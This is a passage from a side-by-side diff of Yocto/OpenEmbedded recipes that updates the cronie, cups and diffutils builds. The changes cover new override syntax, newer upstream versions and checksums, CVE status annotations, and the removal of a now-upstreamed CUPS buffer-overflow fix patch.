17UPSTREAM_CHECK_URI = "https://github.com/cronie-crond/${BPN}/releases/" 17GITHUB_BASE_URI = "https://github.com/cronie-crond/${BPN}/releases/"
18 18
19SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV}/cronie-${PV}.tar.gz \ 19SRC_URI = "${GITHUB_BASE_URI}/download/cronie-${PV}/cronie-${PV}.tar.gz \
20 file://crond.init \ 20 file://crond.init \
21 file://crontab \ 21 file://crontab \
22 file://crond.service \ 22 file://crond.service \
@@ -25,37 +25,38 @@ SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV}
25PAM_SRC_URI = "file://crond_pam_config.patch" 25PAM_SRC_URI = "file://crond_pam_config.patch"
26PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid" 26PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid"
27 27
28SRC_URI[md5sum] = "351a37d0b5bd0144816724b4482747ad" 28SRC_URI[sha256sum] = "f1da374a15ba7605cf378347f96bc8b678d3d7c0765269c8242cfe5b0789c571"
29SRC_URI[sha256sum] = "be34c79505e5544323281854744b9955ff16b160ee569f9df7c0dddae5720eac"
30 29
31inherit autotools update-rc.d useradd systemd 30inherit autotools update-rc.d useradd systemd github-releases
31UPSTREAM_CHECK_REGEX = "releases/tag/cronie-(?P<pver>\d+(\.\d+)+)"
32 32
33PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" 33PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
34 34
35PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit," 35PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit,"
36PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam,${PAM_DEPS}" 36PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam,${PAM_DEPS}"
37PACKAGECONFIG[anacron] = "--enable-anacron,--disable-anacron,anacron" 37PACKAGECONFIG[anacron] = "--enable-anacron,--disable-anacron,anacron"
38PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
38 39
39INITSCRIPT_NAME = "crond" 40INITSCRIPT_NAME = "crond"
40INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ." 41INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ."
41 42
42USERADD_PACKAGES = "${PN}" 43USERADD_PACKAGES = "${PN}"
43GROUPADD_PARAM_${PN} = "--system crontab" 44GROUPADD_PARAM:${PN} = "--system crontab"
44 45
45SYSTEMD_SERVICE_${PN} = "crond.service" 46SYSTEMD_SERVICE:${PN} = "crond.service"
46 47
47do_install_append () { 48do_install:append () {
48 install -d ${D}${sysconfdir}/sysconfig/ 49 install -d ${D}${sysconfdir}/sysconfig/
49 install -d ${D}${sysconfdir}/init.d/ 50 install -d ${D}${sysconfdir}/init.d/
50 install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond 51 install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond
51 install -m 0755 ${WORKDIR}/crond.init ${D}${sysconfdir}/init.d/crond 52 install -m 0755 ${WORKDIR}/crond.init ${D}${sysconfdir}/init.d/crond
52 53
53 # install systemd unit files 54 # install systemd unit files
54 install -d ${D}${systemd_unitdir}/system 55 install -d ${D}${systemd_system_unitdir}
55 install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_unitdir}/system 56 install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_system_unitdir}
56 sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \ 57 sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
57 -e 's,@SBINDIR@,${sbindir},g' \ 58 -e 's,@SBINDIR@,${sbindir},g' \
58 ${D}${systemd_unitdir}/system/crond.service 59 ${D}${systemd_system_unitdir}/crond.service
59 60
60 # below are necessary for a complete cron environment 61 # below are necessary for a complete cron environment
61 install -d ${D}${localstatedir}/spool/cron 62 install -d ${D}${localstatedir}/spool/cron
@@ -80,5 +81,5 @@ do_install_append () {
80 chmod 600 ${D}${sysconfdir}/crontab 81 chmod 600 ${D}${sysconfdir}/crontab
81} 82}
82 83
83FILES_${PN} += "${sysconfdir}/cron*" 84FILES:${PN} += "${sysconfdir}/cron*"
84CONFFILES_${PN} += "${sysconfdir}/crontab" 85CONFFILES:${PN} += "${sysconfdir}/crontab"
diff --git a/meta/recipes-extended/cups/cups.inc b/meta/recipes-extended/cups/cups.inc
index 244c87001f..b70ba3ae58 100644
--- a/meta/recipes-extended/cups/cups.inc
+++ b/meta/recipes-extended/cups/cups.inc
@@ -6,77 +6,68 @@ document types."
6HOMEPAGE = "https://www.cups.org/" 6HOMEPAGE = "https://www.cups.org/"
7SECTION = "console/utils" 7SECTION = "console/utils"
8LICENSE = "Apache-2.0" 8LICENSE = "Apache-2.0"
9DEPENDS = "gnutls libpng jpeg dbus zlib libusb1" 9DEPENDS = "libpng jpeg dbus zlib libusb1"
10 10
11SRC_URI = "https://github.com/apple/cups/releases/download/v${PV}/${BP}-source.tar.gz \ 11SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/cups-${PV}-source.tar.gz \
12 file://0001-use-echo-only-in-init.patch \ 12 file://0001-use-echo-only-in-init.patch \
13 file://0002-don-t-try-to-run-generated-binaries.patch \ 13 file://0002-don-t-try-to-run-generated-binaries.patch \
14 file://0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch \ 14 file://libexecdir.patch \
15 file://0004-cups-fix-multilib-install-file-conflicts.patch \ 15 file://0004-cups-fix-multilib-install-file-conflicts.patch \
16 file://volatiles.99_cups \ 16 file://volatiles.99_cups \
17 file://cups-volatiles.conf \ 17 file://cups-volatiles.conf \
18 file://CVE-2020-10001.patch \
19 " 18 "
20 19
21UPSTREAM_CHECK_URI = "https://github.com/apple/cups/releases" 20GITHUB_BASE_URI = "https://github.com/OpenPrinting/cups/releases"
22UPSTREAM_CHECK_REGEX = "cups-(?P<pver>\d+\.\d+(\.\d+)?)-source.tar"
23 21
24# Issue only applies to MacOS 22CVE_STATUS[CVE-2008-1033] = "not-applicable-platform: Issue only applies to MacOS"
25CVE_CHECK_WHITELIST += "CVE-2008-1033" 23CVE_STATUS[CVE-2009-0032] = "cpe-incorrect: Issue affects pdfdistiller plugin used with but not part of cups"
26# Issue affects pdfdistiller plugin used with but not part of cups 24CVE_STATUS[CVE-2018-6553] = "not-applicable-platform: This is an Ubuntu only issue"
27CVE_CHECK_WHITELIST += "CVE-2009-0032" 25CVE_STATUS[CVE-2022-26691] = "fixed-version: This is fixed in 2.4.2 but the cve-check class still reports it"
28# This is an Ubuntu only issue. 26CVE_STATUS[CVE-2021-25317] = "not-applicable-config: This concerns /var/log/cups having lp ownership, our /var/log/cups is root:root, so this doesn't apply."
29CVE_CHECK_WHITELIST += "CVE-2018-6553"
30 27
31LEAD_SONAME = "libcupsdriver.so" 28LEAD_SONAME = "libcupsdriver.so"
32 29
33CLEANBROKEN = "1" 30CLEANBROKEN = "1"
34 31
35inherit autotools-brokensep binconfig useradd systemd pkgconfig multilib_script 32inherit autotools-brokensep binconfig useradd systemd pkgconfig multilib_script github-releases
36 33
37USERADD_PACKAGES = "${PN}" 34USERADD_PACKAGES = "${PN}"
38GROUPADD_PARAM_${PN} = "--system lpadmin" 35GROUPADD_PARAM:${PN} = "--system lpadmin"
39 36
40SYSTEMD_SERVICE_${PN} = "org.cups.cupsd.socket org.cups.cupsd.path org.cups.cupsd.service org.cups.cups-lpd.socket" 37SYSTEMD_SERVICE:${PN} = "cups.socket cups.path cups.service cups-lpd.socket"
41 38
42PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \ 39PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \
43 ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)}" 40 ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)} \
44PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi" 41 openssl \
42"
43PACKAGECONFIG[avahi] = "--with-dnssd=avahi,--with-dnssd=no,avahi"
45PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl" 44PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl"
45PACKAGECONFIG[gnutls] = "--with-tls=gnutls,,gnutls,,,openssl"
46PACKAGECONFIG[openssl] = "--with-tls=openssl,,openssl,,,gnutls"
46PACKAGECONFIG[pam] = "--enable-pam --with-pam-module=unix, --disable-pam, libpam" 47PACKAGECONFIG[pam] = "--enable-pam --with-pam-module=unix, --disable-pam, libpam"
47PACKAGECONFIG[systemd] = "--with-systemd=${systemd_system_unitdir},--without-systemd,systemd" 48PACKAGECONFIG[systemd] = "--with-systemd=${systemd_system_unitdir},--without-systemd,systemd"
48PACKAGECONFIG[xinetd] = "--with-xinetd=${sysconfdir}/xinetd.d,--without-xinetd,xinetd" 49PACKAGECONFIG[xinetd] = "--with-xinetd=${sysconfdir}/xinetd.d,--without-xinetd,xinetd"
50PACKAGECONFIG[webif] = "--enable-webif,--disable-webif"
49 51
50EXTRA_OECONF = " \ 52EXTRA_OECONF = " \
51 --enable-gnutls \
52 --enable-dbus \ 53 --enable-dbus \
54 --with-dbusdir=${sysconfdir}/dbus-1 \
53 --enable-browsing \ 55 --enable-browsing \
54 --disable-gssapi \ 56 --disable-gssapi \
55 --enable-debug \ 57 --enable-debug \
56 --disable-relro \ 58 --disable-relro \
57 --enable-libusb \ 59 --enable-libusb \
58 --with-system-groups=lpadmin \ 60 --with-system-groups=lpadmin,root,sys,wheel \
59 --with-cups-group=lp \ 61 --with-cups-group=lp \
60 --with-domainsocket=/run/cups/cups.sock \ 62 --with-domainsocket=/run/cups/cups.sock \
63 --with-pkgconfpath=${libdir}/pkgconfig \
61 DSOFLAGS='${LDFLAGS}' \ 64 DSOFLAGS='${LDFLAGS}' \
62 " 65 "
63 66
64EXTRA_AUTORECONF += "--exclude=autoheader" 67EXTRA_AUTORECONF += "--exclude=autoheader"
65 68
66do_compile () {
67 echo "all:" > man/Makefile
68 echo "libs:" >> man/Makefile
69 echo "install:" >> man/Makefile
70 echo "install-data:" >> man/Makefile
71 echo "install-exec:" >> man/Makefile
72 echo "install-headers:" >> man/Makefile
73 echo "install-libs:" >> man/Makefile
74
75 oe_runmake
76}
77
78do_install () { 69do_install () {
79 oe_runmake "DSTROOT=${D}" install 70 oe_runmake "BUILDROOT=${D}" install
80 71
81 # Remove /var/run from package as cupsd will populate it on startup 72 # Remove /var/run from package as cupsd will populate it on startup
82 rm -fr ${D}/${localstatedir}/run 73 rm -fr ${D}/${localstatedir}/run
@@ -84,7 +75,7 @@ do_install () {
84 rmdir ${D}/${libexecdir}/${BPN}/driver 75 rmdir ${D}/${libexecdir}/${BPN}/driver
85 76
86 # Fix the pam configuration file permissions 77 # Fix the pam configuration file permissions
87 if ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'true', 'false', d)}; then 78 if ${@bb.utils.contains('PACKAGECONFIG', 'pam', 'true', 'false', d)}; then
88 chmod 0644 ${D}${sysconfdir}/pam.d/cups 79 chmod 0644 ${D}${sysconfdir}/pam.d/cups
89 fi 80 fi
90 81
@@ -102,27 +93,25 @@ do_install () {
102 fi 93 fi
103} 94}
104 95
105PACKAGES =+ "${PN}-lib ${PN}-libimage" 96PACKAGES =+ "${PN}-lib ${PN}-libimage ${PN}-webif"
106 97
107RDEPENDS_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}" 98RDEPENDS:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
108FILES_${PN} += "${libexecdir}/cups/ \ 99FILES:${PN} += "${libexecdir}/cups/"
109 "
110 100
111FILES_${PN}-lib = "${libdir}/libcups.so.*" 101FILES:${PN}-lib = "${libdir}/libcups.so.*"
112 102
113FILES_${PN}-libimage = "${libdir}/libcupsimage.so.*" 103FILES:${PN}-libimage = "${libdir}/libcupsimage.so.*"
114 104
115#package the html for the webgui inside the main packages (~1MB uncompressed) 105# put the html for the web interface into its own PACKAGE
106FILES:${PN}-webif += "${datadir}/doc/cups/ ${datadir}/icons/"
107RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'webif', '${PN}-webif', '', d)}"
116 108
117FILES_${PN} += "${datadir}/doc/cups/images \ 109CONFFILES:${PN} += "${sysconfdir}/cups/cupsd.conf"
118 ${datadir}/doc/cups/*html \
119 ${datadir}/doc/cups/*.css \
120 ${datadir}/icons/ \
121 "
122CONFFILES_${PN} += "${sysconfdir}/cups/cupsd.conf"
123 110
124MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/cups-config" 111MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/cups-config"
125 112
113LOCALE_PATHS += "${datadir}/cups/templates"
114
126SYSROOT_PREPROCESS_FUNCS += "cups_sysroot_preprocess" 115SYSROOT_PREPROCESS_FUNCS += "cups_sysroot_preprocess"
127cups_sysroot_preprocess () { 116cups_sysroot_preprocess () {
128 sed -i ${SYSROOT_DESTDIR}${bindir_crossscripts}/cups-config -e 's:cups_datadir=.*:cups_datadir=${datadir}/cups:' -e 's:cups_serverbin=.*:cups_serverbin=${libexecdir}/cups:' 117 sed -i ${SYSROOT_DESTDIR}${bindir_crossscripts}/cups-config -e 's:cups_datadir=.*:cups_datadir=${datadir}/cups:' -e 's:cups_serverbin=.*:cups_serverbin=${libexecdir}/cups:'
diff --git a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
index ea248e4710..2bc26edbfc 100644
--- a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
+++ b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
@@ -26,48 +26,6 @@ index 32e2e0b..f1478d4 100644
26 26
27 27
28 # 28 #
29@@ -205,9 +205,9 @@ ppdc-static: ppdc.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC) foo.drv foo-fr.po
30 $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o ppdc-static ppdc.o libcupsppdc.a \
31 $(LINKCUPSSTATIC)
32 $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
33- echo Testing PPD compiler...
34- ./ppdc-static -l en,fr -I ../data foo.drv
35- ./ppdc-static -l en,fr -z -I ../data foo.drv
36+# echo Testing PPD compiler...
37+# ./ppdc-static -l en,fr -I ../data foo.drv
38+# ./ppdc-static -l en,fr -z -I ../data foo.drv
39
40
41 #
42@@ -235,17 +235,17 @@ ppdi-static: ppdc-static ppdi.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC)
43 $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o ppdi-static ppdi.o libcupsppdc.a \
44 $(LINKCUPSSTATIC)
45 $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
46- echo Testing PPD importer...
47- $(RM) -r ppd ppd2 sample-import.drv
48- ./ppdc-static -l en -I ../data sample.drv
49- ./ppdi-static -I ../data -o sample-import.drv ppd/*
50- ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
51- if diff -r ppd ppd2 >/dev/null; then \
52- echo PPD import OK; \
53- else \
54- echo PPD import FAILED; \
55- exit 1; \
56- fi
57+# echo Testing PPD importer...
58+# $(RM) -r ppd ppd2 sample-import.drv
59+# ./ppdc-static -l en -I ../data sample.drv
60+# ./ppdi-static -I ../data -o sample-import.drv ppd/*
61+# ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
62+# if diff -r ppd ppd2 >/dev/null; then \
63+# echo PPD import OK; \
64+# else \
65+# echo PPD import FAILED; \
66+# exit 1; \
67+# fi
68
69
70 #
71-- 29--
722.17.1 302.17.1
73 31
diff --git a/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch b/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch
deleted file mode 100644
index b48c7a9ad2..0000000000
--- a/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch
+++ /dev/null
@@ -1,51 +0,0 @@
1From 66c2079ae91389ee0f9d704bf0d2cccd53b2c603 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Sun, 22 Jul 2012 16:54:17 -0700
4Subject: [PATCH 3/4] cups_1.4.6.bb: Fix build on ppc64
5
6Make CUPS_SERVERBIN relative to libdir otherwise on 64bit arches
7e.g. ppc64 where base libdir is lib64 this does not go well
8
9Signed-off-by: Khem Raj <raj.khem@gmail.com>
10Upstream-Status: Inappropriate [OE config specific]
11
12Update on 20190904:
13Redefine CUPS_SERVERBIN to "$libexecdir/cups" which solves file confliction
14when multilib is enabled.
15
16Signed-off-by: Kai Kang <kai.kang@windriver.com>
17
18---
19 config-scripts/cups-directories.m4 | 2 +-
20 configure | 2 +-
21 2 files changed, 2 insertions(+), 2 deletions(-)
22
23diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4
24index b74083a..9a5abb2 100644
25--- a/config-scripts/cups-directories.m4
26+++ b/config-scripts/cups-directories.m4
27@@ -270,7 +270,7 @@ case "$host_os_name" in
28 *)
29 # All others
30 INSTALL_SYSV="install-sysv"
31- CUPS_SERVERBIN="$exec_prefix/lib/cups"
32+ CUPS_SERVERBIN="$libexecdir/cups"
33 ;;
34 esac
35
36diff --git a/configure b/configure
37index d3df145..bc68a6c 100755
38--- a/configure
39+++ b/configure
40@@ -6420,7 +6420,7 @@ case "$host_os_name" in
41 *)
42 # All others
43 INSTALL_SYSV="install-sysv"
44- CUPS_SERVERBIN="$exec_prefix/lib/cups"
45+ CUPS_SERVERBIN="$libexecdir/cups"
46 ;;
47 esac
48
49--
502.17.1
51
diff --git a/meta/recipes-extended/cups/cups/CVE-2020-10001.patch b/meta/recipes-extended/cups/cups/CVE-2020-10001.patch
deleted file mode 100644
index 09a0a5765d..0000000000
--- a/meta/recipes-extended/cups/cups/CVE-2020-10001.patch
+++ /dev/null
@@ -1,74 +0,0 @@
1From efbea1742bd30f842fbbfb87a473e5c84f4162f9 Mon Sep 17 00:00:00 2001
2From: Michael R Sweet <msweet@msweet.org>
3Date: Mon, 1 Feb 2021 15:02:32 -0500
4Subject: [PATCH] Fix a buffer (read) overflow in ippReadIO (CVE-2020-10001)
5
6Upstream-Status: Backport
7CVE: CVE-2020-10001
8
9Reference to upstream patch:
10[https://github.com/OpenPrinting/cups/commit/efbea1742bd30f842fbbfb87a473e5c84f4162f9]
11
12[SG: Addapted for version 2.3.3]
13Signed-off-by: Stefan Ghinea <stefan.ghinea@windriver.com>
14---
15 CHANGES.md | 2 ++
16 cups/ipp.c | 8 +++++---
17 2 files changed, 7 insertions(+), 3 deletions(-)
18
19diff --git a/CHANGES.md b/CHANGES.md
20index df72892..5ca12da 100644
21--- a/CHANGES.md
22+++ b/CHANGES.md
23@@ -4,6 +4,8 @@ CHANGES - 2.3.3 - 2020-04-24
24 Changes in CUPS v2.3.3
25 ----------------------
26
27+- Security: Fixed a buffer (read) overflow in the `ippReadIO` function
28+ (CVE-2020-10001)
29 - CVE-2020-3898: The `ppdOpen` function did not handle invalid UI
30 constraint. `ppdcSource::get_resolution` function did not handle
31 invalid resolution strings.
32diff --git a/cups/ipp.c b/cups/ipp.c
33index 3d52934..adbb26f 100644
34--- a/cups/ipp.c
35+++ b/cups/ipp.c
36@@ -2866,7 +2866,8 @@ ippReadIO(void *src, /* I - Data source */
37 unsigned char *buffer, /* Data buffer */
38 string[IPP_MAX_TEXT],
39 /* Small string buffer */
40- *bufptr; /* Pointer into buffer */
41+ *bufptr, /* Pointer into buffer */
42+ *bufend; /* End of buffer */
43 ipp_attribute_t *attr; /* Current attribute */
44 ipp_tag_t tag; /* Current tag */
45 ipp_tag_t value_tag; /* Current value tag */
46@@ -3441,6 +3442,7 @@ ippReadIO(void *src, /* I - Data source */
47 }
48
49 bufptr = buffer;
50+ bufend = buffer + n;
51
52 /*
53 * text-with-language and name-with-language are composite
54@@ -3454,7 +3456,7 @@ ippReadIO(void *src, /* I - Data source */
55
56 n = (bufptr[0] << 8) | bufptr[1];
57
58- if ((bufptr + 2 + n) >= (buffer + IPP_BUF_SIZE) || n >= (int)sizeof(string))
59+ if ((bufptr + 2 + n + 2) > bufend || n >= (int)sizeof(string))
60 {
61 _cupsSetError(IPP_STATUS_ERROR_INTERNAL,
62 _("IPP language length overflows value."), 1);
63@@ -3481,7 +3483,7 @@ ippReadIO(void *src, /* I - Data source */
64 bufptr += 2 + n;
65 n = (bufptr[0] << 8) | bufptr[1];
66
67- if ((bufptr + 2 + n) >= (buffer + IPP_BUF_SIZE))
68+ if ((bufptr + 2 + n) > bufend)
69 {
70 _cupsSetError(IPP_STATUS_ERROR_INTERNAL,
71 _("IPP string length overflows value."), 1);
72--
732.17.1
74
diff --git a/meta/recipes-extended/cups/cups/libexecdir.patch b/meta/recipes-extended/cups/cups/libexecdir.patch
new file mode 100644
index 0000000000..7ccad94f0f
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/libexecdir.patch
@@ -0,0 +1,35 @@
1From 1724f7bcdbcfdb445778f8a2e530c5c094c18c10 Mon Sep 17 00:00:00 2001
2From: Ross Burton <ross.burton@arm.com>
3Date: Tue, 13 Jul 2021 12:56:30 +0100
4Subject: [PATCH] Use $libexecdir instead of hardcoding $prefix/lib as this
5 breaks multilib builds.
6
7Upstream-Status: Pending
8Signed-off-by: Ross Burton <ross.burton@arm.com>
9
10---
11 config-scripts/cups-directories.m4 | 4 ++--
12 1 file changed, 2 insertions(+), 2 deletions(-)
13
14diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4
15index 2033d47..230166e 100644
16--- a/config-scripts/cups-directories.m4
17+++ b/config-scripts/cups-directories.m4
18@@ -239,7 +239,7 @@ AC_SUBST([CUPS_REQUESTS])
19 AS_CASE(["$host_os_name"], [*-gnu], [
20 # GNUs
21 INSTALL_SYSV="install-sysv"
22- CUPS_SERVERBIN="$exec_prefix/lib/cups"
23+ CUPS_SERVERBIN="$libexecdir/cups"
24 ], [*bsd* | darwin*], [
25 # *BSD and Darwin (macOS)
26 INSTALL_SYSV=""
27@@ -247,7 +247,7 @@ AS_CASE(["$host_os_name"], [*-gnu], [
28 ], [*], [
29 # All others
30 INSTALL_SYSV="install-sysv"
31- CUPS_SERVERBIN="$exec_prefix/lib/cups"
32+ CUPS_SERVERBIN="$libexecdir/cups"
33 ])
34
35 AC_DEFINE_UNQUOTED([CUPS_SERVERBIN], ["$CUPS_SERVERBIN"], [Location of server programs.])
diff --git a/meta/recipes-extended/cups/cups_2.3.3.bb b/meta/recipes-extended/cups/cups_2.3.3.bb
deleted file mode 100644
index 5caeb6f58b..0000000000
--- a/meta/recipes-extended/cups/cups_2.3.3.bb
+++ /dev/null
@@ -1,6 +0,0 @@
1require cups.inc
2
3LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
4
5SRC_URI[md5sum] = "412434ceefbdf3ec71bc9188a035f589"
6SRC_URI[sha256sum] = "261fd948bce8647b6d5cb2a1784f0c24cc52b5c4e827b71d726020bcc502f3ee"
diff --git a/meta/recipes-extended/cups/cups_2.4.7.bb b/meta/recipes-extended/cups/cups_2.4.7.bb
new file mode 100644
index 0000000000..f4b0282e4c
--- /dev/null
+++ b/meta/recipes-extended/cups/cups_2.4.7.bb
@@ -0,0 +1,5 @@
1require cups.inc
2
3LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
4
5SRC_URI[sha256sum] = "dd54228dd903526428ce7e37961afaed230ad310788141da75cebaa08362cf6c"
diff --git a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
index 02b016fdf1..0e155b6c95 100644
--- a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
+++ b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
@@ -1,7 +1,8 @@
1SUMMARY = "Collection of autoconf m4 macros" 1SUMMARY = "Collection of autoconf m4 macros"
2SECTION = "base" 2SECTION = "base"
3HOMEPAGE = "http://sourceforge.net/projects/cwautomacros.berlios/" 3HOMEPAGE = "http://sourceforge.net/projects/cwautomacros.berlios/"
4LICENSE = "GPLv2" 4DESCRIPTION = "A collection of autoconf macros, plus an autogen.sh script that can be used with them."
5LICENSE = "GPL-2.0-only"
5LIC_FILES_CHKSUM = "file://LICENSE;md5=eb723b61539feef013de476e68b5c50a" 6LIC_FILES_CHKSUM = "file://LICENSE;md5=eb723b61539feef013de476e68b5c50a"
6 7
7SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}.berlios/${BP}.tar.bz2" 8SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}.berlios/${BP}.tar.bz2"
diff --git a/meta/recipes-extended/diffutils/diffutils.inc b/meta/recipes-extended/diffutils/diffutils.inc
index c9e3130587..194d6e5a1b 100644
--- a/meta/recipes-extended/diffutils/diffutils.inc
+++ b/meta/recipes-extended/diffutils/diffutils.inc
@@ -7,7 +7,7 @@ SECTION = "base"
7 7
8inherit autotools texinfo update-alternatives gettext 8inherit autotools texinfo update-alternatives gettext
9 9
10ALTERNATIVE_${PN} = "diff cmp" 10ALTERNATIVE:${PN} = "diff cmp"
11ALTERNATIVE_PRIORITY = "100" 11ALTERNATIVE_PRIORITY = "100"
12 12
13BBCLASSEXTEND = "native nativesdk" 13BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch b/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
index aac1c43465..32793233f9 100644
--- a/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
+++ b/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
@@ -1,4 +1,4 @@
1From bd7fb8be2ae2d75347cf7733302d5093046ffa85 Mon Sep 17 00:00:00 2001 1From f31395c931bc633206eccfcfaaaa5d15021a3e86 Mon Sep 17 00:00:00 2001
2From: Peiran Hong <peiran.hong@windriver.com> 2From: Peiran Hong <peiran.hong@windriver.com>
3Date: Thu, 5 Sep 2019 15:42:22 -0400 3Date: Thu, 5 Sep 2019 15:42:22 -0400
4Subject: [PATCH] Skip strip-trailing-cr test case 4Subject: [PATCH] Skip strip-trailing-cr test case
@@ -10,26 +10,20 @@ package.
10Upstream-Status: Inappropriate [embedded specific] 10Upstream-Status: Inappropriate [embedded specific]
11 11
12Signed-off-by: Peiran Hong <peiran.hong@windriver.com> 12Signed-off-by: Peiran Hong <peiran.hong@windriver.com>
13
13--- 14---
14 tests/Makefile.am | 4 +++- 15 tests/Makefile.am | 1 -
15 1 file changed, 3 insertions(+), 1 deletion(-) 16 1 file changed, 1 deletion(-)
16 17
17diff --git a/tests/Makefile.am b/tests/Makefile.am 18diff --git a/tests/Makefile.am b/tests/Makefile.am
18index 83a7c9d..04d51b5 100644 19index 79bacfb..4adb4d7 100644
19--- a/tests/Makefile.am 20--- a/tests/Makefile.am
20+++ b/tests/Makefile.am 21+++ b/tests/Makefile.am
21@@ -21,8 +21,10 @@ TESTS = \ 22@@ -22,7 +22,6 @@ TESTS = \
22 stdin \ 23 stdin \
23 strcoll-0-names \ 24 strcoll-0-names \
24 filename-quoting \ 25 filename-quoting \
25- strip-trailing-cr \ 26- strip-trailing-cr \
26 colors 27 timezone \
27+# Skipping this test since it requires valgrind 28 colors \
28+# and thus is too heavy for diffutils package 29 y2038-vs-32bit
29+# strip-trailing-cr
30
31 XFAIL_TESTS = large-subopt
32
33--
342.21.0
35
diff --git a/meta/recipes-extended/diffutils/diffutils_3.7.bb b/meta/recipes-extended/diffutils/diffutils_3.10.bb
index 8111ae6065..08e8305612 100644
--- a/meta/recipes-extended/diffutils/diffutils_3.7.bb
+++ b/meta/recipes-extended/diffutils/diffutils_3.10.bb
@@ -1,4 +1,4 @@
1LICENSE = "GPLv3+" 1LICENSE = "GPL-3.0-or-later"
2LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" 2LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
3 3
4require diffutils.inc 4require diffutils.inc
@@ -6,19 +6,22 @@ require diffutils.inc
6SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \ 6SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \
7 file://run-ptest \ 7 file://run-ptest \
8 file://0001-Skip-strip-trailing-cr-test-case.patch \ 8 file://0001-Skip-strip-trailing-cr-test-case.patch \
9" 9 "
10 10
11SRC_URI[md5sum] = "4824adc0e95dbbf11dfbdfaad6a1e461" 11SRC_URI[sha256sum] = "90e5e93cc724e4ebe12ede80df1634063c7a855692685919bfe60b556c9bd09e"
12SRC_URI[sha256sum] = "b3a7a6221c3dc916085f0d205abf6b8e1ba443d4dd965118da364a1dc1cb3a26"
13 12
14EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix" 13EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix"
15 14
15# latest gnulib is no longer able to handle this - I dare not try to fix that maze of abstractions and generators
